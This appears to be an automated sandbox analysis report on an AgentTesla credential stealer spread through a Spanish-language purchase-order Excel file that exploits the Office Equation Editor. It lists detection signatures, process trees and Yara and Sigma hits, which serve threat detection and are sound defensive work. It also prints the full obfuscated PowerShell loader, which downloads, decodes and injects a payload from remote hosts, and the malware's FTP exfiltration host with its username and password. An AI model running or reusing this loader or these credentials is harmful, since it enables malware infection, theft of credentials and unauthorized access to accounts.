Edit tour

Windows Analysis Report
Orden de Compra No. 78986756565344657.xlam.xlsx

Overview

General Information

Sample name:	Orden de Compra No. 78986756565344657.xlam.xlsx
Analysis ID:	1540838
MD5:	6d622d241526560dcfd39335c249cd6e
SHA1:	cc0d6a0f1cab1b41ef8553318b126225f8604f34
SHA256:	36cb95a3f8294818da3c9561fa21681028e4e878dcb938ca5a43d36c46e31a9e
Tags:	xlamxlsxuser-abuse_ch
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Sigma detected: EQNEDT32.EXE connecting to internet

Sigma detected: File Dropped By EQNEDT32EXE

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected AgentTesla

Yara detected AntiVM3

Yara detected Powershell download and execute

Bypasses PowerShell execution policy

Check if machine is in data center or colocation facility

Connects to a pastebin service (likely for C&C)

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Contains functionality to log keystrokes (.Net Source)

Document exploit detected (process start blacklist hit)

Injects a PE file into a foreign processes

Installs new ROOT certificates

Obfuscated command line found

Office equation editor establishes network connection

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Shellcode detected

Sigma detected: Base64 Encoded PowerShell Command Detected

Sigma detected: Equation Editor Network Connection

Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation

Sigma detected: Potential PowerShell Command Line Obfuscation

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Sigma detected: Script Initiated Connection to Non-Local Network

Sigma detected: Suspicious Microsoft Office Child Process

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses dynamic DNS services

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes to foreign memory regions

Wscript starts Powershell (via cmd or directly)

Yara detected Generic Downloader

Allocates memory with a write watch (potentially for evading sandboxes)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Checks if the current process is being debugged

Contains functionality to download and execute PE files

Contains functionality to download and launch executables

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Document misses a certain OLE stream usually present in this Microsoft Office document type

Enables debug privileges

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Office Equation Editor has been started

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Script Initiated Connection

Sigma detected: Suspicious DNS Query for IP Lookup Service APIs

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores large binary data to the registry

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w7x64

EXCEL.EXE (PID: 3252 cmdline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)

EQNEDT32.EXE (PID: 3492 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

wscript.exe (PID: 3640 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\wednesdaydatinglover.vbs" MD5: 979D74799EA6C8B8167869A68DF5204A)

powershell.exe (PID: 3708 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHBTaG9NZVs0XSskUFNob21FWzM0XSsneCcpICggKCgndnpnaW1hZ2VVcmwgPSB3anNodHRwczovL2RyaXZlLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd25sb2FkJmlkPTFBSVZnSkpKdjFGNicrJ3ZTNHNVT3libkgtc0R2VWhCWXd1ciB3anM7dnpnd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDt2emdpbWFnZUJ5dGVzID0nKycgdnpnd2ViQ2xpZW50LkRvJysnd25sb2FkJysnRGF0YSh2emcnKydpbWFnZVVybCk7dnpnaScrJ21hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcodnpnaW1hZ2VCeXRlcyk7dnpnc3RhcnRGbGFnID0gd2pzPDxCQVNFNjRfU1RBUlQ+Pndqczt2emdlbicrJ2RGbGFnID0gd2pzPDxCQVNFNjRfRU5EPj53anM7dnpnc3RhJysncnRJbicrJ2RleCA9IHZ6Z2ltYWdlVGV4dC5JbmRleE9mKHZ6Z3N0YXJ0RmxhZyk7dicrJ3pnZW5kSW5kZXggJysnPSB2emdpbWFnZVRleHQuSW5kZXhPZih2emdlbmRGJysnbGEnKydnKTt2emdzdGFydEluZGV4IC1nZSAwIC1hbmQgdnpnZW5kSW5kZXggLWd0IHZ6Z3N0YXJ0SW5kZXg7dnpnc3RhcnRJbmRleCArPSAnKyd2emdzdGFydEZsYWcuTGVuZ3RoOycrJ3Z6Z2Jhc2UnKyc2NExlbmd0aCA9IHZ6Z2VuZEluZGV4IC0gdicrJ3pnc3RhcnRJbmRleDt2emdiYXNlNjRDb21tYW5kID0gdnpnaW1hZ2VUZXh0LlN1YnN0cmluZyh2emdzdGEnKydydEluZGV4LCB2emdiYXNlNjRMZW5nJysndGgpO3Z6Z2Jhc2U2NFJldmVyc2VkID0gLWpvaW4gKHZ6Z2Jhc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSA3TkYgRm9yRWFjaC1PYmplY3QgeyB2emdfIH0pWy0xLi4tKHZ6Z2Jhc2U2NENvbW1hbmQuTGVuZ3RoKV07dnpnY29tbWFuZEJ5dGVzID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyh2emdiYXNlNjRSZXZlcicrJ3NlZCk7dnpnbG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKHZ6Z2NvbW1hbmRCeXRlcyk7dnpndmEnKydpTWV0aG9kID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZCh3anNWQUl3anMpO3Z6Z3ZhaU1ldGhvZC5JbnZva2UodnpnbnVsJysnbCwgQCh3anN0eHQudHNldGFsZGlvcmRzc3Nzc3Nzb3RpdXFlL2dyby5zbmRrY3VkLmVsaWZ5eXl5eXlhZHNlbmRldy8vOnAnKyd0dGh3anMsIHdqc2Rlc2F0aXZhZG93anMnKycsIHdqc2Rlc2F0aXZhZG93anMsIHdqc2Rlc2F0aXZhZG93anMnKycsIHdqc0FkZEluUHJvY2VzczMyd2pzLCB3anNkZXNhdGl2YWRvd2pzLCB3anNkZXNhdGl2YWRvd2pzLHdqc2Rlc2F0aXZhZG93anMsd2pzZGVzYXRpdmFkb3dqcyx3anNkZXNhdGl2YWRvd2pzLHdqc2Rlc2F0aXZhZG93anMsd2pzZGUnKydzYXRpdmFkb3dqcyx3anMxd2pzLHdqc2Rlc2F0aXZhZG93anMpKTsnKS1DcmVwbGFjRShbQ2hhUl0xMTgrW0NoYVJdMTIyK1tDaGFSXTEwMyksW0NoYVJdMzYgIC1yZVBsQUNlICAoW0NoYVJdNTUrW0NoYVJdNzgrW0NoYVJdNzApLFtDaGFSXTEyNCAtcmVQbEFDZSd3anMnLFtDaGFSXTM5KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD MD5: EB32C070E658937AA9FA9F3AE629B2B8)

powershell.exe (PID: 3808 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $pShoMe[4]+$PShomE[34]+'x') ( (('vzgimageUrl = wjshttps://drive.google.com/uc?export=download&id=1AIVgJJJv1F6'+'vS4sUOybnH-sDvUhBYwur wjs;vzgwebClient = New-Object System.Net.WebClient;vzgimageBytes ='+' vzgwebClient.Do'+'wnload'+'Data(vzg'+'imageUrl);vzgi'+'mageText = [System.Text.Encoding]::UTF8.GetString(vzgimageBytes);vzgstartFlag = wjs<<BASE64_START>>wjs;vzgen'+'dFlag = wjs<<BASE64_END>>wjs;vzgsta'+'rtIn'+'dex = vzgimageText.IndexOf(vzgstartFlag);v'+'zgendIndex '+'= vzgimageText.IndexOf(vzgendF'+'la'+'g);vzgstartIndex -ge 0 -and vzgendIndex -gt vzgstartIndex;vzgstartIndex += '+'vzgstartFlag.Length;'+'vzgbase'+'64Length = vzgendIndex - v'+'zgstartIndex;vzgbase64Command = vzgimageText.Substring(vzgsta'+'rtIndex, vzgbase64Leng'+'th);vzgbase64Reversed = -join (vzgbase64Command.ToCharArray() 7NF ForEach-Object { vzg_ })[-1..-(vzgbase64Command.Length)];vzgcommandBytes = [System.Convert]::FromBase64String(vzgbase64Rever'+'sed);vzgloadedAssembly = [System.Reflection.Assembly]::Load(vzgcommandBytes);vzgva'+'iMethod = [dnlib.IO.Home].GetMethod(wjsVAIwjs);vzgvaiMethod.Invoke(vzgnul'+'l, @(wjstxt.tsetaldiordsssssssotiuqe/gro.sndkcud.elifyyyyyyadsendew//:p'+'tthwjs, wjsdesativadowjs'+', wjsdesativadowjs, wjsdesativadowjs'+', wjsAddInProcess32wjs, wjsdesativadowjs, wjsdesativadowjs,wjsdesativadowjs,wjsdesativadowjs,wjsdesativadowjs,wjsdesativadowjs,wjsde'+'sativadowjs,wjs1wjs,wjsdesativadowjs));')-CreplacE([ChaR]118+[ChaR]122+[ChaR]103),[ChaR]36 -rePlACe ([ChaR]55+[ChaR]78+[ChaR]70),[ChaR]124 -rePlACe'wjs',[ChaR]39) )" MD5: EB32C070E658937AA9FA9F3AE629B2B8)

AddInProcess32.exe (PID: 3940 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" MD5: EFBCDD2A3EBEA841996AEF00417AA958)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://0xmrmagnezi.github.io/malware%20analysis/AgentTesla/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "FTP", "Host": "ftp://ftp.elquijotebanquetes.com", "Username": "mybloddycockcpanel_owner@elquijotebanquetes.com", "Password": "4r@d15PS!-!h"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
sheet1.xml	INDICATOR_XML_LegacyDrawing_AutoLoad_Document	detects AutoLoad documents using LegacyDrawing	ditekSHen	0x1bd2:$s1: <legacyDrawing r:id=" 0x1bfa:$s2: <oleObject progId=" 0x1c30:$s3: autoLoad="true"

Memory Dumps

Source	Rule	Description	Author	Strings
00000009.00000002.526475419.00000000074EA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000002.526475419.00000000074EA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000009.00000002.526178052.0000000006350000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0000000A.00000002.622833840.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000002.622833840.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000A.00000002.623977936.00000000023B5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: powershell.exe PID: 3708	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xd4c88:$b2: ::FromBase64String( 0xee5b7:$b2: ::FromBase64String( 0x148a4f:$b2: ::FromBase64String( 0x149053:$b2: ::FromBase64String( 0x149b5a:$b2: ::FromBase64String( 0x14acb3:$b2: ::FromBase64String( 0x14b3db:$b2: ::FromBase64String( 0x14bc77:$b2: ::FromBase64String( 0x14c2fa:$b2: ::FromBase64String( 0x18358:$b3: ::UTF8.GetString( 0x18caf:$b3: ::UTF8.GetString( 0x195b5:$b3: ::UTF8.GetString( 0x370e8:$b3: ::UTF8.GetString( 0x379e4:$b3: ::UTF8.GetString( 0x38fbe:$b3: ::UTF8.GetString( 0x55093:$b3: ::UTF8.GetString( 0x8695f:$b3: ::UTF8.GetString( 0x872b6:$b3: ::UTF8.GetString( 0x87bbc:$b3: ::UTF8.GetString( 0x889ad:$b3: ::UTF8.GetString( 0x892be:$b3: ::UTF8.GetString(
Process Memory Space: powershell.exe PID: 3808	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 3808	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: powershell.exe PID: 3808	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: powershell.exe PID: 3808	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: powershell.exe PID: 3808	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x2b5b:$b2: ::FromBase64String( 0x31a553:$b2: ::FromBase64String( 0x31acaa:$b2: ::FromBase64String( 0x33c14d:$b2: ::FromBase64String( 0x33cf7b:$b2: ::FromBase64String( 0x33d5fd:$b2: ::FromBase64String( 0x6b5dfc:$b2: ::FromBase64String( 0x90f519:$b2: ::FromBase64String( 0x9bc13d:$b2: ::FromBase64String( 0x9bc7b5:$b2: ::FromBase64String( 0x9bdcf0:$b2: ::FromBase64String( 0x9c212e:$b2: ::FromBase64String( 0x9c30f4:$b2: ::FromBase64String( 0x9c4cc5:$b2: ::FromBase64String( 0x9c5190:$b2: ::FromBase64String( 0x9c564f:$b2: ::FromBase64String( 0x9f2bdc:$b2: ::FromBase64String( 0x9f3253:$b2: ::FromBase64String( 0xa75a5d:$b2: ::FromBase64String( 0xa91798:$b2: ::FromBase64String( 0xa91e0f:$b2: ::FromBase64String(
Process Memory Space: AddInProcess32.exe PID: 3940	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: AddInProcess32.exe PID: 3940	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 9 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
9.2.powershell.exe.74eab28.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
9.2.powershell.exe.74eab28.1.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
10.2.AddInProcess32.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
10.2.AddInProcess32.exe.400000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
10.2.AddInProcess32.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
9.2.powershell.exe.74eab28.1.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x32873:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x328e5:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3296f:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x32a01:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x32a6b:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x32add:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x32b73:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x32c03:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
10.2.AddInProcess32.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x34673:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x346e5:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3476f:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x34801:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3486b:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x348dd:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x34973:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x34a03:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
10.2.AddInProcess32.exe.400000.0.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x31783:$s2: GetPrivateProfileString 0x30d7a:$s3: get_OSFullName 0x32505:$s5: remove_Key 0x326e8:$s5: remove_Key 0x335e8:$s6: FtpWebRequest 0x34655:$s7: logins 0x34bc7:$s7: logins 0x378aa:$s7: logins 0x3798a:$s7: logins 0x392dd:$s7: logins 0x38524:$s9: 1.85 (Hash, version 2, native byte-order)
9.2.powershell.exe.74eab28.1.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x2f983:$s2: GetPrivateProfileString 0x2ef7a:$s3: get_OSFullName 0x30705:$s5: remove_Key 0x308e8:$s5: remove_Key 0x317e8:$s6: FtpWebRequest 0x32855:$s7: logins 0x32dc7:$s7: logins 0x35aaa:$s7: logins 0x35b8a:$s7: logins 0x374dd:$s7: logins 0x36724:$s9: 1.85 (Hash, version 2, native byte-order)
9.2.powershell.exe.74eab28.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
9.2.powershell.exe.74eab28.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
9.2.powershell.exe.74eab28.1.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
9.2.powershell.exe.74eab28.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x34673:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x346e5:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3476f:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x34801:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3486b:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x348dd:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x34973:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x34a03:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
9.2.powershell.exe.74eab28.1.raw.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x31783:$s2: GetPrivateProfileString 0x30d7a:$s3: get_OSFullName 0x32505:$s5: remove_Key 0x326e8:$s5: remove_Key 0x335e8:$s6: FtpWebRequest 0x34655:$s7: logins 0x34bc7:$s7: logins 0x378aa:$s7: logins 0x3798a:$s7: logins 0x392dd:$s7: logins 0x38524:$s9: 1.85 (Hash, version 2, native byte-order)
9.2.powershell.exe.6350000.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
Click to see the 10 entries

Sigma Signatures

Exploits

Sigma detected: EQNEDT32.EXE connecting to internet

Source: Network Connection

Author: Joe Security: Data: DestinationIp: 198.46.178.134, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 3492, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49163

Sigma detected: File Dropped By EQNEDT32EXE

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 3492, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\wednesdaysMPDW-constraints[1].vbs

System Summary

Sigma detected: Base64 Encoded PowerShell Command Detected

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHBTaG9NZVs0XSskUFNob21FWzM0XSsneCcpICggKCgndnpnaW1hZ2VVcmwgPSB3anNodHRwczovL2RyaXZlLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd25sb2FkJmlkPTFBSVZnSkpKdjFGNicrJ3ZTNHNVT3libkgtc0R2VWhCWXd1ciB3anM7dnpnd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDt2emdpbWFnZUJ5dGVzID0nKycgdnpnd2ViQ2xpZW50LkRvJysnd25sb2FkJysnRGF0YSh2emcnKydpbWFnZVVybCk7dnpnaScrJ21hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcodnpnaW1hZ2VCeXRlcyk7dnpnc3RhcnRGbGFnID0gd2pzPDxCQVNFNjRfU1RBUlQ+Pndqczt2emdlbicrJ2RGbGFnID0gd2pzPDxCQVNFNjRfRU5EPj53anM7dnpnc3RhJysncnRJbicrJ2RleCA9IHZ6Z2ltYWdlVGV4dC5JbmRleE9mKHZ6Z3N0YXJ0RmxhZyk7dicrJ3pnZW5kSW5kZXggJysnPSB2emdpbWFnZVRleHQuSW5kZXhPZih2emdlbmRGJysnbGEnKydnKTt2emdzdGFydEluZGV4IC1nZSAwIC1hbmQgdnpnZW5kSW5kZXggLWd0IHZ6Z3N0YXJ0SW5kZXg7dnpnc3RhcnRJbmRleCArPSAnKyd2emdzdGFydEZsYWcuTGVuZ3RoOycrJ3Z6Z2Jhc2UnKyc2NExlbmd0aCA9IHZ6Z2VuZEluZGV4IC0gdicrJ3pnc3RhcnRJbmRleDt2emdiYXNlNjRDb21tYW5kID0gdnpnaW1hZ2VUZXh0LlN1YnN0cmluZyh2emdzdGEnKydydEluZGV4LCB2emdiYXNlNjRMZW5nJysndGgpO3Z6Z2Jhc2U2NFJldmVyc2VkID0gLWpvaW4gKHZ6Z2Jhc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSA3TkYgRm9yRWFjaC1PYmplY3QgeyB2emdfIH0pWy0xLi4tKHZ6Z2Jhc2U2NENvbW1hbmQuTGVuZ3RoKV07dnpnY29tbWFuZEJ5dGVzID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyh2emdiYXNlNjRSZXZlcicrJ3NlZCk7dnpnbG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKHZ6Z2NvbW1hbmRCeXRlcyk7dnpndmEnKydpTWV0aG9kID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZCh3anNWQUl3anMpO3Z6Z3ZhaU1ldGhvZC5JbnZva2UodnpnbnVsJysnbCwgQCh3anN0eHQudHNldGFsZGlvcmRzc3Nzc3Nzb3RpdXFlL2dyby5zbmRrY3VkLmVsaWZ5eXl5eXlhZHNlbmRldy8vOnAnKyd0dGh3anMsIHdqc2Rlc2F0aXZhZG93anMnKycsIHdqc2Rlc2F0aXZhZG93anMsIHdqc2Rlc2F0aXZhZG93anMnKycsIHdqc0FkZEluUHJvY2VzczMyd2pzLCB3anNkZXNhdGl2YWRvd2pzLCB3anNkZXNhdGl2YWRvd2pzLHdqc2Rlc2F0aXZhZG93anMsd2pzZGVzYXRpdmFkb3dqcyx3anNkZXNhdGl2YWRvd2pzLHdqc2Rlc2F0aXZhZG93anMsd2pzZGUnKydzYXRpdmFkb3dqcyx3anMxd2pzLHdqc2Rlc2F0aXZhZG93anMpKTsnKS1DcmVwbGFjRShbQ2hhUl0xMTgrW0NoYVJdMTIyK1tDaGFSXTEwMyksW0NoYVJdMzYgIC1yZVBsQUNlICAoW0NoYVJdNTUrW0NoYVJdNzgrW0NoYVJdNzApLFtDaGFSXTEyNCAtcmVQbEFDZSd3anMnLFtDaGFSXTM5KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHBTaG9NZVs0XSskUFNob21FWzM0XSsneCcpICggKCgndnpnaW1hZ2VVcmwgPSB3anNodHRwczovL2RyaXZlLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd25sb2FkJmlkPTFBSVZnSkpKdjFGNicrJ3ZTNHNVT3libkgtc0R2VWhCWXd1ciB3anM7dnpnd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDt2emdpbWFnZUJ5dGVzID0nKycgdnpnd2ViQ2xpZW50LkRvJysnd25sb2FkJysnRGF0YSh2emcnKydpbWFnZVVybCk7dnpnaScrJ21hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcodnpnaW1hZ2VCeXRlcyk7dnpnc3RhcnRGbGFnID0gd2pzPDxCQVNFNjRfU1RBUlQ+Pndqczt2emdlbicrJ2RGbGFnID0gd2pzPDxCQVNFNjRfRU5EPj53anM7dnpnc3RhJysncnRJbicrJ2RleCA9IHZ6Z2ltYWdl

Sigma detected: Equation Editor Network Connection

Source: Network Connection

Author: Max Altgelt (Nextron Systems): Data: DestinationIp: 192.168.2.22, DestinationIsIpv6: false, DestinationPort: 49163, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 3492, Protocol: tcp, SourceIp: 198.46.178.134, SourceIsIpv6: false, SourcePort: 80

Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation

Source: Process started

Author: Thomas Patzke: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $pShoMe[4]+$PShomE[34]+'x') ( (('vzgimageUrl = wjshttps://drive.google.com/uc?export=download&id=1AIVgJJJv1F6'+'vS4sUOybnH-sDvUhBYwur wjs;vzgwebClient = New-Object System.Net.WebClient;vzgimageBytes ='+' vzgwebClient.Do'+'wnload'+'Data(vzg'+'imageUrl);vzgi'+'mageText = [System.Text.Encoding]::UTF8.GetString(vzgimageBytes);vzgstartFlag = wjs<<BASE64_START>>wjs;vzgen'+'dFlag = wjs<<BASE64_END>>wjs;vzgsta'+'rtIn'+'dex = vzgimageText.IndexOf(vzgstartFlag);v'+'zgendIndex '+'= vzgimageText.IndexOf(vzgendF'+'la'+'g);vzgstartIndex -ge 0 -and vzgendIndex -gt vzgstartIndex;vzgstartIndex += '+'vzgstartFlag.Length;'+'vzgbase'+'64Length = vzgendIndex - v'+'zgstartIndex;vzgbase64Command = vzgimageText.Substring(vzgsta'+'rtIndex, vzgbase64Leng'+'th);vzgbase64Reversed = -join (vzgbase64Command.ToCharArray() 7NF ForEach-Object { vzg_ })[-1..-(vzgbase64Command.Length)];vzgcommandBytes = [System.Convert]::FromBase64String(vzgbase64Rever'+'sed);vzgloadedAssembly = [System.Reflection.Assembly]::Load(vzgcommandBytes);vzgva'+'iMethod = [dnlib.IO.Home].GetMethod(wjsVAIwjs);vzgvaiMethod.Invoke(vzgnul'+'l, @(wjstxt.tsetaldiordsssssssotiuqe/gro.sndkcud.elifyyyyyyadsendew//:p'+'tthwjs, wjsdesativadowjs'+', wjsdesativadowjs, wjsdesativadowjs'+', wjsAddInProcess32wjs, wjsdesativadowjs, 